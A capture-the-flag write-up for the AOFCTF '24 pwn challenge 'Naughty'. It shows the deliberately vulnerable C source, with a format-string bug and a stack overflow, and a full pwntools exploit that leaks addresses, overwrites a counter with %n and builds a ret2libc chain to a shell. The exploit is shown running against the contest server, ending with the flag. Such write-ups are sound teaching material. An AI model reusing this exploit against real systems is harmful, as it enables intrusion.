- Published on
AOFCTF '24 - Pwn - Naughty
- Authors
- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description
Solution
Following files were given with naughty:
$ tar -tf naughty.tar
naughty
naughty.c
Dockerfile
flag.txt
Now, step-1, simply getting the libc from docker and patching the binary.
After this, let's check the mitigations on the binary:
[*] '/home/pwn/Documents/CTFs/AOFCTF-24/pwn/naughty/naughty'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
So, we don't have a canary, let's look at the provided source code:
// Compile: gcc -o naughty naughty.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#define NAUGHTY_LIST_SZ 0x2
#define MAX_SZ 0x50
__attribute__((constructor))
void __constructor__(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
signal(SIGALRM, exit);
alarm(0x20);
}
void get_input(int *in) {
// Secure integer input function.
// https://stackoverflow.com/questions/41145908/how-to-stop-user-entering-char-as-int-input-in-c
char next;
if (scanf("%d", in) < 0 || *in < 0 || ((next = getchar()) != EOF && next != '\n')) {
clearerr(stdin);
do next = getchar(); while (next != EOF && next != '\n');
clearerr(stdin);
}
}
void ranged_input(int *in, int _beg, int _end) {
get_input(in);
while(*in < _beg && *in > _end) {
printf("Invalid input. Try again: ");
get_input(in);
}
}
typedef struct {
char name[MAX_SZ+1];
bool is_naughty;
int already_in;
} child_info_t;
child_info_t naughty_list[NAUGHTY_LIST_SZ];
int written = 0;
int menu() {
int idx = 0;
puts("=== Santa's Naughty List ===");
puts("1. Add a kid to the list");
puts("2. Print a kid's details");
puts("3. Fix a kid's name (Elves really can't get the names right)");
puts("0. Exit");
printf(">> ");
ranged_input(&idx, 0, 3);
return idx;
}
void print_child_info(child_info_t *info) {
puts("===============");
printf("Child Info:\nName: ");
if(!info->already_in) {
char my_buf[MAX_SZ] = { 0 };
strncpy(my_buf, info->name, MAX_SZ);
printf(my_buf);
info->already_in = true;
}
else printf("%s", info->name);
printf("\nIs child naughty? %s", (info->is_naughty ? "Yes" : "No"));
puts("\n---------");
}
void init_child(child_info_t info) {
if(written >= NAUGHTY_LIST_SZ) {
puts("[ERROR] Too many kids already in the naughty list, can't make it work :(");
return;
}
memset(naughty_list[written].name, NULL, MAX_SZ+1);
strncpy(naughty_list[written].name, info.name, MAX_SZ);
naughty_list[written].is_naughty = info.is_naughty;
naughty_list[written++].already_in = false;
}
void add_kid() {
if(written >= NAUGHTY_LIST_SZ) {
puts("[ERROR] Too many kids already in the naughty list, can't make it work :(");
return;
}
char name[MAX_SZ];
printf("Enter the kid's name: ");
read(0, name, 0x100);
child_info_t _kid = {
.name = name,
.is_naughty = true,
.already_in = false
};
init_child(_kid);
}
child_info_t* get_child() {
int idx;
printf("Enter the child's index: ");
ranged_input(&idx, 0, NAUGHTY_LIST_SZ-1);
return &naughty_list[idx];
}
void edit_kid(child_info_t *_kid) {
if(_kid->already_in) {
puts("[ERROR] Info has already been modified, cannot modify twice :(");
return;
}
memset(_kid->name, NULL, MAX_SZ);
printf("Enter new name: ");
read(0, _kid->name, MAX_SZ);
printf("Name changed to: %s\n", _kid->name);
}
int main(int argc, char* argv[]) {
for(int i = 0; i < NAUGHTY_LIST_SZ; i++) {
child_info_t child = {
.name = "naughty-kid",
.is_naughty = true,
.already_in = false
};
init_child(child);
}
int choice;
while(1) {
choice = menu();
switch (choice) {
case 1:
add_kid();
break;
case 2:
print_child_info(get_child());
break;
case 3:
edit_kid(get_child());
break;
case 0:
puts("Santa Claus is happy, knowing you helped him.");
exit(0);
default:
puts("Invalid input. Try again");
break;
}
}
return 0;
}
Let's start by analyzing the child_info_t
struct.
#define NAUGHTY_LIST_SZ 0x2
#define MAX_SZ 0x50
typedef struct {
char name[MAX_SZ+1];
bool is_naughty;
int already_in;
} child_info_t;
child_info_t naughty_list[NAUGHTY_LIST_SZ];
int written = 0;
Now, the child_info_t
struct is a simple struct that will contain the information about the child. There are two global variables naughty_list
and written
, the naughty_list
can contain upto 0x2
entries and written will simply keep uptil what index the data has been written in the buffer. We can see that in init_child
function:
void init_child(child_info_t info) {
if(written >= NAUGHTY_LIST_SZ) {
puts("[ERROR] Too many kids already in the naughty list, can't make it work :(");
return;
}
memset(naughty_list[written].name, NULL, MAX_SZ+1);
strncpy(naughty_list[written].name, info.name, MAX_SZ);
naughty_list[written].is_naughty = info.is_naughty;
naughty_list[written++].already_in = false;
}
Let's analyze the main function:
int main(int argc, char* argv[]) {
for(int i = 0; i < NAUGHTY_LIST_SZ; i++) {
child_info_t child = {
.name = "naughty-kid",
.is_naughty = true,
.already_in = false
};
init_child(child);
}
int choice;
while(1) {
choice = menu();
switch (choice) {
case 1:
add_kid();
break;
case 2:
print_child_info(get_child());
break;
case 3:
edit_kid(get_child());
break;
case 0:
puts("Santa Claus is happy, knowing you helped him.");
exit(0);
default:
puts("Invalid input. Try again");
break;
}
}
return 0;
}
We can see that we have a simple menu
like main. However, the thing to notice is the first for loop. That loop is simply filling the naughty_list
by simply creating a new object with naughty-kid
as the name and invoking the init_child
function which would increment written
and add to the naughty_list
. Let's look at the print_child_info
function:
void print_child_info(child_info_t *info) {
puts("===============");
printf("Child Info:\nName: ");
if(!info->already_in) {
char my_buf[MAX_SZ] = { 0 };
strncpy(my_buf, info->name, MAX_SZ);
printf(my_buf);
info->already_in = true;
}
else printf("%s", info->name);
printf("\nIs child naughty? %s", (info->is_naughty ? "Yes" : "No"));
puts("\n---------");
}
Okay, so we have found our first bug, printf
. We have an arbitrary read and arbitrary write in this function because of printf
. Let's analyze the add_kid
function:
void add_kid() {
if(written >= NAUGHTY_LIST_SZ) {
puts("[ERROR] Too many kids already in the naughty list, can't make it work :(");
return;
}
char name[MAX_SZ];
printf("Enter the kid's name: ");
read(0, name, 0x100);
child_info_t _kid = {
.name = name,
.is_naughty = true,
.already_in = false
};
init_child(_kid);
}
Okay, so here, we our buffer overflow, because MAX_SZ = 0x50
, and we're taking input of 0x100
. However, the constraint is that written
must be less than NAUGHTY_LIST_SZ
. Which by default is false as written
would be equal to NAUGHTY_LIST_SZ
. The last function is the edit_kid
function:
void edit_kid(child_info_t *_kid) {
if(_kid->already_in) {
puts("[ERROR] Info has already been modified, cannot modify twice :(");
return;
}
memset(_kid->name, NULL, MAX_SZ);
printf("Enter new name: ");
read(0, _kid->name, MAX_SZ);
printf("Name changed to: %s\n", _kid->name);
}
This function simply allows us to rename the name, letting us control the printf.
Exploitation
The exploitation path is fairly simple:
- Leak LIBC and PIE
- Overwrite written with 0
- ROP
Leak LIBC and PIE
This step is fairly easy and I've explained this in great detail in my printf guide. The exploit written so far, with wrapper functions is:
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
encode = lambda e: e if type(e) == bytes else str(e).encode()
hexleak = lambda l: int(l[:-1] if (l[-1] == b'\n' or l[-1] == b'|') else l, 16)
exe = "./naughty_patched"
elf = context.binary = ELF(exe)
libc = elf.libc
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process()
if args.GDB: gdb.attach(io)
def menu(opt: int):
io.sendlineafter(b">> ", encode(opt))
def add_user(name: str):
menu(1)
io.sendlineafter(b": ", encode(name))
def print_user(idx: int):
menu(2)
io.sendlineafter(b": ", encode(idx))
io.recvuntil(b"Name: ")
return io.recvuntil(b"Is ")[:-3]
def modify_user(idx: int, name: str):
menu(3)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(name))
# Using the first edit primitive to leak pie and libc
modify_user(0, "|%6$p|%35$p|")
leaks = print_user(0).split(b'|')[1:]
print(leaks)
elf_leak = hexleak(leaks[0])
libc_leak = hexleak(leaks[1])
elf.address = elf_leak - 0x20b5
libc.address = libc_leak - 0x29d90
info("elf @ %#x" % elf.address)
info("libc @ %#x" % libc.address)
Overwrite written with 0
Now, this step is fairly simple as well. We'll identify that our input starts at 8th
index. So, we'll write a simple payload, the payload for this step:
# Overwrite data @ written to be 0 so we can perform our write
overwrite = b"%c%9$n||" + p64(elf.sym.written)
modify_user(1, overwrite)
print_user(1)
This would simply overwrite written
with 0 which in turn would give us the overflow primitive.
ROP
This step is fairly simple, for me; none of the one_gadgets worked so what I simply did was ret2libc. The final exploit became:
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
encode = lambda e: e if type(e) == bytes else str(e).encode()
hexleak = lambda l: int(l[:-1] if (l[-1] == b'\n' or l[-1] == b'|') else l, 16)
exe = "./naughty_patched"
elf = context.binary = ELF(exe)
libc = elf.libc
io = remote(sys.argv[1], int(sys.argv[2])) if args.REMOTE else process()
if args.GDB: gdb.attach(io)
def menu(opt: int):
io.sendlineafter(b">> ", encode(opt))
def add_user(name: str):
menu(1)
io.sendlineafter(b": ", encode(name))
def print_user(idx: int):
menu(2)
io.sendlineafter(b": ", encode(idx))
io.recvuntil(b"Name: ")
return io.recvuntil(b"Is ")[:-3]
def modify_user(idx: int, name: str):
menu(3)
io.sendlineafter(b": ", encode(idx))
io.sendlineafter(b": ", encode(name))
# Using the first edit primitive to leak pie and libc
modify_user(0, "|%6$p|%35$p|")
leaks = print_user(0).split(b'|')[1:]
print(leaks)
elf_leak = hexleak(leaks[0])
libc_leak = hexleak(leaks[1])
elf.address = elf_leak - 0x20b5
libc.address = libc_leak - 0x29d90
info("elf @ %#x" % elf.address)
info("libc @ %#x" % libc.address)
# Overwrite data @ written to be 0 so we can perform our write
overwrite = b"%c%9$n||" + p64(elf.sym.written)
modify_user(1, overwrite)
print_user(1)
# Perform overflow and a simple ret2libc:
payload = flat(
cyclic(88, n=8),
libc.address + 0x000000000002a3e5, # pop rdi
next(libc.search(b"/bin/sh\x00")),
libc.address + 0x0000000000029139, # ret
libc.sym.system
)
add_user(payload)
io.interactive()
Running this aginst the remote:
$ ./exploit.py REMOTE challs.airoverflow.com 34337
[*] '/home/pwn/Documents/CTFs/AOFCTF-24/pwn/naughty/naughty_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[*] '/home/pwn/Documents/CTFs/AOFCTF-24/pwn/naughty/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to challs.airoverflow.com on port 34337: Done
[b'0x55a93c2600b5', b'0x7f1b2204ad90', b'\n\n']
[*] elf @ 0x55a93c25e000
[*] libc @ 0x7f1b22021000
[*] Switching to interactive mode
$ ls -l
total 24
-r--r----- 1 root ctf-player 65 Apr 28 17:56 flag.txt
-r-xr-x--- 1 root ctf-player 17704 Apr 23 12:24 naughty
$ cat flag.txt
AOFCTF{n4ughty_l1s7_n07_s0_n4ughty_4ft3r_4ll_NOdPJe7O7LfJIFdDYj}